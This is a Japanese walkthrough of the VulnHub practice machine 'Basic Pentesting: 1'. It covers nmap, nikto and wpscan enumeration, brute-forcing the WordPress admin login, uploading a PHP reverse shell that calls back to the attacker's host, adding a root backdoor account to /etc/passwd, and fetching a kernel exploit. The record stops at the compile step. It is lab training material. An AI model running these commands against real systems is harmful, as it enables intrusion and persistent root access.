LoginSignup
6
1

More than 3 years have passed since last update.

【VulnHub】Basic Pentesting: 1 - Walkthrough -

Last updated at Posted at 2019-11-10

Basic Pentesting: 1」は、「Josiah Pierce」によって開発され、VulnHubにて公開されているシリーズの一つです。

リリース情報

名称: Basic Pentesting: 1
リリース日: 2017年12月8日
シリーズ: Basic Pentesting
作者: Josiah Pierce

注意:
macOS Chromeを使用して.OVAファイルをダウンロードした場合、.OVAファイルを.OVFにリネームしてダウンロードする既知の問題点が報告されています。

Walkthrough

列挙

稼働しているIPアドレスの特定

ネットワーク内のIPアドレスを探すために、netdiscoverコマンドを使用します。

# netdiscover -r 172.16.209.0 
 Currently scanning: Finished!   |   Screen View: Unique Hosts          

 2 Captured ARP Req/Rep packets, from 2 hosts.   Total size: 120        
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 172.16.208.188  00:0c:29:a0:ec:a0      1      60  VMware, Inc.         
 172.16.208.2    00:50:56:f3:32:8a      1      60  VMware, Inc.       

これで、標的のIPアドレスが172.16.208.188であることが特定できました。

実行されているサービスの特定

次にどのサービスが実行されているのか特定を行います。ポートスキャンの実行です。nmap -Pn -sS -sV -p- 172.16.208.188コマンド構文を使用します。各オプションの狙いは、次の通りです。

-Pn: スキャンの前に行われるpingでの疎通確認をせずにスキャンします
-sS: TCPのSYNパケットを送ってSYN+ACKが返ってくるか調査します
-sV: サービスのバージョンスキャン
-p-: すべてのポートを対象にします

root@kali:~# nmap -Pn -sS -sV -p- 172.16.208.188
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-05 16:14 JST
Nmap scan report for 172.16.208.188
Host is up (0.00083s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 00:0C:29:A0:EC:A0 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.27 seconds
root@kali:~# 

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

ポート番号 サービス バージョン
21/tcp ftp ProFTPD 1.3.3c
22/tcp ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
80/tcp http Apache httpd 2.4.18

ウェブサイトの診断

ウェブサイトの診断を行います。niktoを使用してみます

root@kali:~# nikto -h http://172.16.208.188/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          172.16.208.188
+ Target Hostname:    172.16.208.188
+ Target Port:        80
+ Start Time:         2019-11-05 16:28:46 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0xb1 0x55e1c7758dcdb 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST 
+ Uncommon header 'link' found, with contents: <http://vtcsec/secret/index.php/wp-json/>; rel="https://api.w.org/"
+ OSVDB-3092: /secret/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7535 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2019-11-05 16:29:10 (GMT9) (24 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

+ Uncommon header 'link' found, with contents: <http://vtcsec/secret/index.php/wp-json/>; rel="https://api.w.org/"の記録が気になります。

続いて、攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。dirbコマンドを使用します。

root@kali:~# dirb http://172.16.208.188/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Nov  7 14:54:04 2019
URL_BASE: http://172.16.208.188/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://172.16.208.188/ ----
+ http://172.16.208.188/index.html (CODE:200|SIZE:177)                            
==> DIRECTORY: http://172.16.208.188/secret/                                      
+ http://172.16.208.188/server-status (CODE:403|SIZE:279)                         

---- Entering directory: http://172.16.208.188/secret/ ----
+ http://172.16.208.188/secret/index.php (CODE:301|SIZE:0)                        
==> DIRECTORY: http://172.16.208.188/secret/wp-admin/                             
==> DIRECTORY: http://172.16.208.188/secret/wp-content/                           
==> DIRECTORY: http://172.16.208.188/secret/wp-includes/                          
+ http://172.16.208.188/secret/xmlrpc.php (CODE:405|SIZE:42)                      

---- Entering directory: http://172.16.208.188/secret/wp-admin/ ----
+ http://172.16.208.188/secret/wp-admin/admin.php (CODE:302|SIZE:0)               
==> DIRECTORY: http://172.16.208.188/secret/wp-admin/css/                         
==> DIRECTORY: http://172.16.208.188/secret/wp-admin/images/                      
==> DIRECTORY: http://172.16.208.188/secret/wp-admin/includes/                    
+ http://172.16.208.188/secret/wp-admin/index.php (CODE:302|SIZE:0)               
==> DIRECTORY: http://172.16.208.188/secret/wp-admin/js/                          
==> DIRECTORY: http://172.16.208.188/secret/wp-admin/maint/                       
==> DIRECTORY: http://172.16.208.188/secret/wp-admin/network/                     
==> DIRECTORY: http://172.16.208.188/secret/wp-admin/user/                        

---- Entering directory: http://172.16.208.188/secret/wp-content/ ----
+ http://172.16.208.188/secret/wp-content/index.php (CODE:200|SIZE:0)             
==> DIRECTORY: http://172.16.208.188/secret/wp-content/plugins/                   
==> DIRECTORY: http://172.16.208.188/secret/wp-content/themes/                    
==> DIRECTORY: http://172.16.208.188/secret/wp-content/upgrade/                   
==> DIRECTORY: http://172.16.208.188/secret/wp-content/uploads/                   

---- Entering directory: http://172.16.208.188/secret/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://172.16.208.188/secret/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://172.16.208.188/secret/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://172.16.208.188/secret/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://172.16.208.188/secret/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://172.16.208.188/secret/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://172.16.208.188/secret/wp-admin/network/ ----
+ http://172.16.208.188/secret/wp-admin/network/admin.php (CODE:302|SIZE:0)       
+ http://172.16.208.188/secret/wp-admin/network/index.php (CODE:302|SIZE:0)       

---- Entering directory: http://172.16.208.188/secret/wp-admin/user/ ----
+ http://172.16.208.188/secret/wp-admin/user/admin.php (CODE:302|SIZE:0)          
+ http://172.16.208.188/secret/wp-admin/user/index.php (CODE:302|SIZE:0)          

---- Entering directory: http://172.16.208.188/secret/wp-content/plugins/ ----
+ http://172.16.208.188/secret/wp-content/plugins/index.php (CODE:200|SIZE:0)     

---- Entering directory: http://172.16.208.188/secret/wp-content/themes/ ----
+ http://172.16.208.188/secret/wp-content/themes/index.php (CODE:200|SIZE:0)      

---- Entering directory: http://172.16.208.188/secret/wp-content/upgrade/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://172.16.208.188/secret/wp-content/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Thu Nov  7 14:54:27 2019
DOWNLOADED: 36896 - FOUND: 13
root@kali:~# 

HTTPサービスのスキャン

Firefoxブラウザを使って80/tcpにアクセスしてみます。

  • /ディレクトリ
    Apache default.png

  • /secretディレクトリ
    実質的なコンテンツは/secretディレクトリ側に用意されていると推定されます。しかし、コンテンツが表示されません。
    ここで、niktoコマンドの結果を思い出します。'link' found, with contents: <http://vtcsec/secret/index.php/wp-json/>;に注目します。この結果から、hostsファイルに名前解決できるよう、記述します。

root@kali:~# echo "172.16.208.188 vtcsec" >> /etc/hosts

今一度、Firefoxブラウザを使って/secretディレクトリにアクセスしてみます。
vtcsec.png
/secretディレクトリのフッター情報Proudly powered by WordPressdirbコマンドの結果から、標的はCMSとしてWordPressを使用していることが推定できます。

WordPressの診断

WPScanを使ってWordPressが抱えている脆弱性について診断を行います。
wscan.rb -u https://vtsec/secret/ -e at -e ap -e uコマンド構文をを使用します。各オプションの狙いは、次の通りです。今回は、省略表記(--url ではなく、 -u)を使用しています。

  • --url | -u <標的のURL>
  • --enumerate | -e <オプション>: オプションの内容を列挙する
    • at: すべてのテーマを列挙する
    • ap: すべてのプラグインを列挙する
    • u: ID1~10までのユーザ名を列挙する
root@kali:~# /usr/share/wpscan/wpscan.rb -u http://vtcsec/secret/ -e at -e ap -e u
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.4
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://vtcsec/secret/
[+] Started: Thu Nov  7 13:35:54 2019

[+] Interesting header: LINK: <http://vtcsec/secret/index.php/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.18 (Ubuntu)
[+] XML-RPC Interface available under: http://vtcsec/secret/xmlrpc.php   [HTTP 405]
[+] Found an RSS Feed: http://vtcsec/secret/index.php/feed/   [HTTP 200]
[!] Detected 1 user from RSS feed:
+-------+
| Name  |
+-------+
| admin |
+-------+
[!] Upload directory has directory listing enabled: http://vtcsec/secret/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://vtcsec/secret/wp-includes/

[+] Enumerating WordPress version ...

[+] WordPress version 4.9.12 (Released on 2019-10-14) identified from meta generator, links opml

[+] WordPress theme in use: twentyseventeen - v1.4

[+] Name: twentyseventeen - v1.4
 |  Last updated: 2019-05-07T00:00:00.000Z
 |  Location: http://vtcsec/secret/wp-content/themes/twentyseventeen/
 |  Readme: http://vtcsec/secret/wp-content/themes/twentyseventeen/README.txt
[!] The version is out of date, the latest version is 2.2
 |  Style URL: http://vtcsec/secret/wp-content/themes/twentyseventeen/style.css
 |  Theme Name: Twenty Seventeen
 |  Theme URI: https://wordpress.org/themes/twentyseventeen/
 |  Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a...
 |  Author: the WordPress team
 |  Author URI: https://wordpress.org/

[+] Enumerating plugins from passive detection ...
[+] No plugins found passively

[+] Enumerating all plugins (may take a while and use a lot of system resources) ...

   Time: 00:01:18 <========================> (83302 / 83302) 100.00% Time: 00:01:18

[+] We found 1 plugin:

[+] Name: akismet - v4.0.1
 |  Last updated: 2019-05-14T15:05:00.000Z
 |  Location: http://vtcsec/secret/wp-content/plugins/akismet/
 |  Readme: http://vtcsec/secret/wp-content/plugins/akismet/readme.txt
[!] The version is out of date, the latest version is 4.1.2

[+] Enumerating all themes (may take a while and use a lot of system resources) ...

   Time: 00:00:18 <========================> (18238 / 18238) 100.00% Time: 00:00:18

[+] We found 1 theme:

[+] Name: twentyseventeen - v1.4
 |  Last updated: 2019-05-07T00:00:00.000Z
 |  Location: http://vtcsec/secret/wp-content/themes/twentyseventeen/
 |  Readme: http://vtcsec/secret/wp-content/themes/twentyseventeen/README.txt
[!] The version is out of date, the latest version is 2.2
 |  Style URL: http://vtcsec/secret/wp-content/themes/twentyseventeen/style.css
 |  Theme Name: Twenty Seventeen
 |  Theme URI: https://wordpress.org/themes/twentyseventeen/
 |  Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a...
 |  Author: the WordPress team
 |  Author URI: https://wordpress.org/

[+] Enumerating usernames ...
[+] We identified the following 1 user:
    +----+-------+-------------------+
    | ID | Login | Name              |
    +----+-------+-------------------+
    | 1  | admin | admin – My secret |
    +----+-------+-------------------+
[!] Default first WordPress username 'admin' is still used

[+] Finished: Thu Nov  7 13:37:43 2019
[+] Elapsed time: 00:01:49
[+] Requests made: 102212
[+] Memory used: 111.945 MB
root@kali:~#

[!] Default first WordPress username 'admin' is still usedの結果から、初期設定のままWordPressを使い続けている可能性が推定できます。そこで、http_default_pass.txt辞書ファイルを使って、ブルートフォース攻撃を試みてみます。

root@kali:~# /usr/share/wpscan/wpscan.rb -u http://vtcsec/secret/wp-login.php --username admin --wordlist /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt --wp-content-dir http://vtcsec/secret/wp-content/
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.4
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://vtcsec/secret/wp-login.php/
[+] Started: Thu Nov  7 13:41:44 2019

[+] Interesting header: SERVER: Apache/2.4.18 (Ubuntu)
[+] Interesting header: SET-COOKIE: wordpress_test_cookie=WP+Cookie+check; path=/secret/
[+] Interesting header: X-FRAME-OPTIONS: SAMEORIGIN
[+] robots.txt available under: http://vtcsec/secret/wp-login.php/robots.txt   [HTTP 200]
[+] humans.txt available under: http://vtcsec/secret/wp-login.php/humans.txt   [HTTP 200]
[+] security.txt available under: http://vtcsec/secret/wp-login.php/.well-known/security.txt   [HTTP 200]
[!] emergency.php has been found in: http://vtcsec/secret/wp-login.php/emergency.php
[+] This site seems to be a multisite (http://codex.wordpress.org/Glossary#Multisite)
[!] Upload directory has directory listing enabled: http://vtcsec/secret/wp-content//uploads/

[+] Enumerating WordPress version ...

[i] WordPress version can not be detected

[+] Enumerating plugins from passive detection ...
[+] No plugins found passively
[+] Starting the password brute forcer
  Brute Forcing 'admin' Time: 00:00:00 <=========> (19 / 19) 100.00% Time: 00:00:00
  [+] [SUCCESS] Login : admin Password : admin                                     


  +----+-------+------+----------+
  | ID | Login | Name | Password |
  +----+-------+------+----------+
  |    | admin |      | admin    |
  +----+-------+------+----------+

[+] Finished: Thu Nov  7 13:41:55 2019
[+] Elapsed time: 00:00:11
[+] Requests made: 667
[+] Memory used: 5.773 MB
root@kali:~# 

Login : admin Password : adminの特定により、WordPressの管理者権限を取得することに成功しました。
なお、hydraコマンドを使い、WordPressに対するブルートフォース攻撃を試行することも可能です。この場合のコマンド構文は、次のとおりです。

root@kali:~# hydra -l admin -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt 172.16.208.188 -V http-post-form '/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=LogIn&testcookie=1:S=Location' -t 25
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-11-07 14:13:40
[DATA] max 19 tasks per 1 server, overall 19 tasks, 19 login tries (l:1/p:0), ~19 try per task
[DATA] attacking http-post-form://172.16.208.188:80//secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=LogIn&testcookie=1:S=Location
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "admin" - 1 of 0 [child 19] (0/0)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "password" - 2 of 0 [child 19] (0/1)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "manager" - 3 of 0 [child 19] (0/2)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "letmein" - 4 of 0 [child 19] (0/3)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "cisco" - 5 of 0 [child 19] (0/4)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "default" - 6 of 0 [child 19] (0/5)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "root" - 7 of 0 [child 19] (0/6)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "apc" - 8 of 0 [child 19] (0/7)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "pass" - 9 of 0 [child 19] (0/8)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "security" - 10 of 0 [child 19] (0/9)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "user" - 11 of 0 [child 19] (0/10)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "system" - 12 of 0 [child 19] (0/11)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "sys" - 13 of 0 [child 19] (0/12)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "none" - 14 of 0 [child 19] (0/13)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "xampp" - 15 of 0 [child 19] (0/14)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "wampp" - 16 of 0 [child 19] (0/15)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "ppmax2011" - 17 of 0 [child 19] (0/16)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "turnkey" - 18 of 0 [child 19] (0/17)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "vagrant" - 19 of 0 [child 19] (0/18)
[80][http-post-form] host: 172.16.208.188   login: admin   password: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-11-07 14:13:43
root@kali:~# 

アクセス権の取得

ペイロードの作成

WordPressの診断の結果、WordPressの管理コンソールに対するアクセス権を掌握しています。そこで、WordPressに対して、ペイロード(悪意のある動作を実現するコード)を作成し、標的へ送り込んでみましょう。
まず、標的に侵入することができるよう、ペイロードを作成します。今回は、pentestmonkeyのリバースシェルphp-reverse-shellを仕掛けてみましょう。
Kali Linuxにはusr/share/webshells/php/php-reverse-shell.phpに収録されています。

root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php exploit.php

exploit.phpをエディタで開き、$ip$portパラメータの値を変更します。

// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.16.208.192';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

php-reverse-shellの他にmsfvenom -p php/meterpreter/reverse_tcp lhost=172.16.208.192 lport=4444 -f rawにてペイロードを用意する方法もあります。

WordPressの管理コンソール(wp-login.php)にアクセスし、admin/adminにてログインします。
メニューから[Appearance] > [Editor]を選択します。
Twenty Seventeenテーマの404 Template(404.php)のコードをリバースシェルPHPコードexploit.phpに置き換えます。エディターで[Update File]ボタンををクリックして、新しい404.phpファイルを保存します。
404php.png

攻撃端末側でncコマンド構文を使用し、リバースシェルからの接続を待ち受けます。

root@kali:~# nc -lvp 4444 
listening on [any] 4444 ...

攻撃端末側のncがアクティブな状態で、404.phpに接続します。

root@kali:~# curl http://vtcsec/secret/wp-content/themes/twentyseventeen/404.php

URLが実行されると、セッションが開始されます。システム情報(lsb_release -a)について確認しましょう。低特権(www-data)のシェルを受け取ることができます。

root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
connect to [172.16.208.192] from vtcsec [172.16.208.188] 39246
Linux vtcsec 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 01:27:57 up  8:00,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ lsb_release -a
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.3 LTS
Release:    16.04
Codename:   xenial
No LSB modules are available.
$ 

低特権シェルをよりインタラクティブにします。Pythonを使用し、Pseudo Terminal Utilitiesライブラリをロードします。そのライブラリを使用してbashシェルを生成します。コマンド構文は次のとおりです。

$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@vtcsec:/$ 

システム探索

linuxprivchecker.py

SimpleHTTPServer.pyを使用して、Kali LinuxにWebサーバーをセットアップし、標的からファイルをwgetできるようにします。

# python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...

標的にlinuxprivchecker.pyプログラムを送り、実行します。

www-data@vtcsec:/tmp$ wget http://172.16.208.192:8080/linuxprivchecker.py
wget http://172.16.208.192:8080/linuxprivchecker.py
--2019-11-07 02:06:38--  http://172.16.208.192:8080/linuxprivchecker.py
Connecting to 172.16.208.192:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 25304 (25K) [text/plain]
Saving to: 'linuxprivchecker.py'

linuxprivchecker.py 100%[===================>]  24.71K  --.-KB/s    in 0.004s  

2019-11-07 02:06:38 (6.22 MB/s) - 'linuxprivchecker.py' saved [25304/25304]

www-data@vtcsec:/tmp$ python linuxprivchecker.py

結果のうち、[+] World Writable Filesの出力に注目しました。/etc/passwdファイルのアクセス権が全てのユーザーによる読み書きが許可されている点に注目してください。

[+] World Writable Files
    -rw-rw-rw- 1 root root 2364 Nov 16  2017 /etc/passwd
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/policy/.remove
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/policy/.replace
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/policy/.load
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/.remove
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/.replace
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/.load
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/.ns_name
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/.ns_level
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/.ns_stacked
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/.stacked
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/.access
    --w--w--w- 1 root root 0 Nov  7 02:11 /sys/fs/cgroup/memory/cgroup.event_control
    -rw-rw-rw- 1 www-data www-data 25304 Nov 23  2013 /tmp/linuxprivchecker.py

[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...の結果についても注目します。

[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...

    Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!

    The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system
    - MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/1518 || Language=c

    The following exploits are applicable to this kernel version and should be investigated as well
    - Kernel ia32syscall Emulation Privilege Escalation || http://www.exploit-db.com/exploits/15023 || Language=c
    - Sendpage Local Privilege Escalation || http://www.exploit-db.com/exploits/19933 || Language=ruby**
    - CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit) || http://www.exploit-db.com/exploits/15944 || Language=c
    - CAP_SYS_ADMIN to root Exploit || http://www.exploit-db.com/exploits/15916 || Language=c
    - MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/1518 || Language=c
    - open-time Capability file_ns_capable() Privilege Escalation || http://www.exploit-db.com/exploits/25450 || Language=c
    - open-time Capability file_ns_capable() - Privilege Escalation Vulnerability || http://www.exploit-db.com/exploits/25307 || Language=c

特権の引き上げ

脆弱なアカウント

/etc/passwdファイルを確認すると、ログイン可能なアカウントが2つあります。

www-data@vtcsec:/tmp$ cat /etc/passwd | grep -v nologin | grep -v false | grep -v /bin/sync
<etc/passwd | grep -v nologin | grep -v false | grep -v /bin/sync            
root:x:0:0:root:/root:/bin/bash
marlinspike:x:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash

そこで、marlinspike/marlinspikeにて、ログインを試みてみます。

www-data@vtcsec:/tmp$ su marlinspike
su marlinspike
Password: marlinspike

marlinspike@vtcsec:/tmp$ whoami
whoami
marlinspike
marlinspike@vtcsec:/tmp$ 

marlinspikeアカウントによる特権昇格の可能性について確認してみます。root権限への昇格に成功しました。

marlinspike@vtcsec:/tmp$ sudo -l
sudo -l
[sudo] password for marlinspike: marlinspike

Matching Defaults entries for marlinspike on vtcsec:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marlinspike may run the following commands on vtcsec:
    (ALL : ALL) ALL
marlinspike@vtcsec:/tmp$ sudo su
sudo su
root@vtcsec:/tmp# whoami
whoami
root
root@vtcsec:/tmp# 

アカウントの追加

backdoor/passアカウントを標的へ追加します。
はじめに、perlコマンドを使って、パスワードを生成します。コマンド構文は次のとおりです。

root@kali:~# perl -le 'print crypt("pass", "aa")'
aaW3cJZ7OSoQM

続いて、標的システム上で/etc/passwdにアカウントを追加します。コマンド構文は次のとおりです。

www-data@vtcsec:/tmp$ echo "backdoor:aaW3cJZ7OSoQM:0:0:backdoor:/root:/bin/bash" >> /etc/passwd

suコマンドを使い、www-dataアカウントからbackdoorアカウントに変更します。これにて、root権限への昇格に成功しました。

www-data@vtcsec:/$ su backdoor
su backdoor
Password: pass

root@vtcsec:/# whoami
whoami
root
root@vtcsec:/# 

Kernel Exploit アプローチ

searchsploitコマンドを使って、Exploit-DBに掲載されているexploitコードを検索してみましょう。45010.cコードを採用することができそうです。

------------------------------------------------------------------------------------------------ ----------------------------------------
 Exploit Title                                                                                  |  Path
                                                                                                | (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------------ ----------------------------------------
Linux Kernel <  4.13.9 (Ubuntu 16.04/Fedora 27) - Local Privilege Escalation                    | exploits/linux/local/45010.c
------------------------------------------------------------------------------------------------ ----------------------------------------

続いて、標的システムにてgccコンパイラへのアクセス権について確認します。

www-data@vtcsec:/tmp$ gcc -v
gcc -v
Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/5/lto-wrapper
Target: x86_64-linux-gnu
Configured with: ../src/configure -v --with-pkgversion='Ubuntu 5.4.0-6ubuntu1~16.04.12' --with-bugurl=file:///usr/share/doc/gcc-5/README.Bugs --enable-languages=c,ada,c++,java,go,d,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-5 --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-gnu-unique-object --disable-vtable-verify --enable-libmpx --enable-plugin --with-system-zlib --disable-browser-plugin --enable-java-awt=gtk --enable-gtk-cairo --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-5-amd64/jre --enable-java-home --with-jvm-root-dir=/usr/lib/jvm/java-1.5.0-gcj-5-amd64 --with-jvm-jar-dir=/usr/lib/jvm-exports/java-1.5.0-gcj-5-amd64 --with-arch-directory=amd64 --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --enable-objc-gc --enable-multiarch --disable-werror --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu
Thread model: posix
gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.12) 
www-data@vtcsec:/tmp$ 

SimpleHTTPServer.pyを使用して、Kali LinuxにWebサーバーをセットアップし、標的から45010.cファイルをwgetできるようにします。

root@kali:~# locate 45010.c
/usr/share/exploitdb/exploits/linux/local/45010.c
root@kali:~# cp /usr/share/exploitdb/exploits/linux/local/45010.c ~
root@kali:~# python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...

標的の/tmpディレクトリに、45010.cファイルを取得します。

www-data@vtcsec:/$ cd /tmp
cd /tmp

www-data@vtcsec:/tmp$ wget http://172.16.208.192:8080/45010.c
wget http://172.16.208.192:8080/45010.c
--2019-11-09 21:10:12--  http://172.16.208.192:8080/45010.c
Connecting to 172.16.208.192:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13728 (13K) [text/plain]
Saving to: '45010.c'

45010.c             100%[===================>]  13.41K  --.-KB/s    in 0s      

2019-11-09 21:10:12 (147 MB/s) - '45010.c' saved [13728/13728]

45010.cファイルをコンパイルします。コンパイルされたバイナリファイル45010に実行権限を付与し、実行します。
その結果、root権限への昇格に成功しました。

www-data@vtcsec:/tmp$ gcc 45010.c -o 45010
gcc 45010.c -o 45010
